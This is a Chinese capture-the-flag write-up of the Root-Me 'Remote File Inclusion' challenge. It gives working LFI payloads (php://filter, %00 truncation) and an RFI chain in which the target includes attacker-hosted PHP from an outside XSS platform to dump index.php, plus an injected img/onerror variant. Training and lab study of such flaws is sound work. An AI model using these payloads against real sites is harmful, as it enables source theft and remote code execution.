- 来源:Root-Me
- 题型:Web-Server
- 题目:Remote File Inclusion
- 分数:30 Points
题目分析
PHP 的 RFI (远程文件包含)漏洞利用,与 LFI (本地文件包含)很类似。
题目要求我们获取 PHP 页面源码,开启挑战后,只有 Français (?lang=fr
) 和 English (?lang=en
) 两个选项。
顺手测试了一下,当前页面的名称为 index.php
:
换言之我们有 3 个页面:?lang=fr
、?lang=en
、 index.php
。
LFI 试错
虽然题目提示要使用 RFI 完成挑战,但是还是先测试下 LFI 的效果。
可以利用 php://filter
特性读取页面源码,构造这样的 payload :
?lang=php://filter/convert.base64-encode/resource=fr
于是得到 Base64 编码的页面源码:
PD9waHAKCiRsYW5nID0gYXJyYXkgKAogICAgICAgICAgICAnbGFuZycgPT4gJ0xhbmd1ZScsCiAgICAgICAgICAgICd3ZWxjb21lJyA9PiAnQmllbnZlbnVlIHN1ciBub3RyZSBub3V2ZWF1IHNpdGUgd2ViICEnLAogICAgICAgICk7Cgo/Pgo=
对其解码虽然得到源码,但是没有有效的信息:
<?php
$lang = array (
'lang' => 'Langue',
'welcome' => 'Bienvenue sur notre nouveau site web !',
);
?>
类似地,?lang=en
的页面源码也是没提供有效的信息。
换言之,有效信息应该保存在 index.php
。于是构造类似的 payload 去读取页面源码:
?lang=php://filter/convert.base64-encode/resource=index.php
但是页面报错:
Warning: include(php://filter/convert.base64-encode/resource=index.php_lang.php): failed to open stream
从报错分析可以知道,代码会把 ?lang=输入
构造成 include('输入_lang.php')
亦即前面之所以可以读取到 ?lang=fr
和 ?lang=en
的内容,是因为他们真正的文件名是 fr_lang.php
和 en_lang.php
。
但是因为不存在 index_lang.php
和 index.php_lang.php
页面,所以 include()
Local File 时就会报错。
其实在 LFI 的领域,这种情况(include 的文件被强制加了后缀)是有办法处理的。
因为 PHP 是用 C 语言编写的,而在 C 语言中,标记一个字符串的终止符是 \0
,其 URL 编码是 %00
。
因此可以尝试在 payload 末尾添加 %00
以截断被强制添加的 _lang.php
后缀:
?lang=php://filter/convert.base64-encode/resource=index.php%00
但是这次报错为 Warning: include()
,即 include
的参数被置空,说明 %00
被过滤了。
RFI 漏洞
由于 LFI 的最后希望被封堵,我们把策略转移到 RFI 。
其实 RFI 更简单,从前面分析已经知道,代码会把 ?lang=输入
构造成 include('输入_lang.php')
。
RFI 只需要再 输入
点直接设置 URL 地址即可,如 payload 为:?lang=https://www.baidu.com
。
但是页面返回报错 Warning: include(https://www.baidu.com_lang.php): failed to open stream
。
这是因为 _lang.php
后缀作祟。
在 RFI 中要截断后缀,只需要在末尾添加 ?
即可,这样后缀就会变成 URL 的参数,亦即构造 payload 为:
?lang=https://www.baidu.com?
于是我们成功把百度嵌入到了页面中:
RFL 注入
既然可以成功嵌入百度,那么也可以嵌入 payload 页面。
所以接下来要做的,就是在一个公网可访问的 WEB 服务器上构造一个页面,把该页面的内容作为 payload ,读取发起 include
行为的页面源码。
为了节省搭建 WEB 服务器的资金,从这里开始我们利用 XSS 平台,推荐 http://xss.tf 。
在 XSS 平台上新建一个项目,并配置自定义代码 <?php echo file_get_contents('index.php') ?>
。
配置完成后,我们得到访问这个项目的页面地址为 http://xss.tf/M5Q
将 XSS 项目的 URL 注入挑战页面,即构造 payload : ?lang=http://xss.tf/M5Q?
成功读取到 index.php
的源码,打开浏览器的开发者工具,在注释中找到 flag ,完成挑战。
其他 payload
在 XSS 平台上构造 payload 的过程中,我发现这题挑战其实不止一个解法:
在 inlcule()
参数的引号被闭合后,可以注入 HTML 和 JS 代码,然后在 JS 代码中调用 PHP 代码。
例如构造这样的 payload 一样可以成功读取到页面源码:
'<img src=0 onerror="<?php echo file_get_contents('index.php') ?>" />'
看上去好像多此一举,不过在某些情况可能会很有用。
答案下载
flag 下载后的 flagzip 的文件需要手动更改后缀为
*.zip
,然后解压即可(为了避免直接刷答案)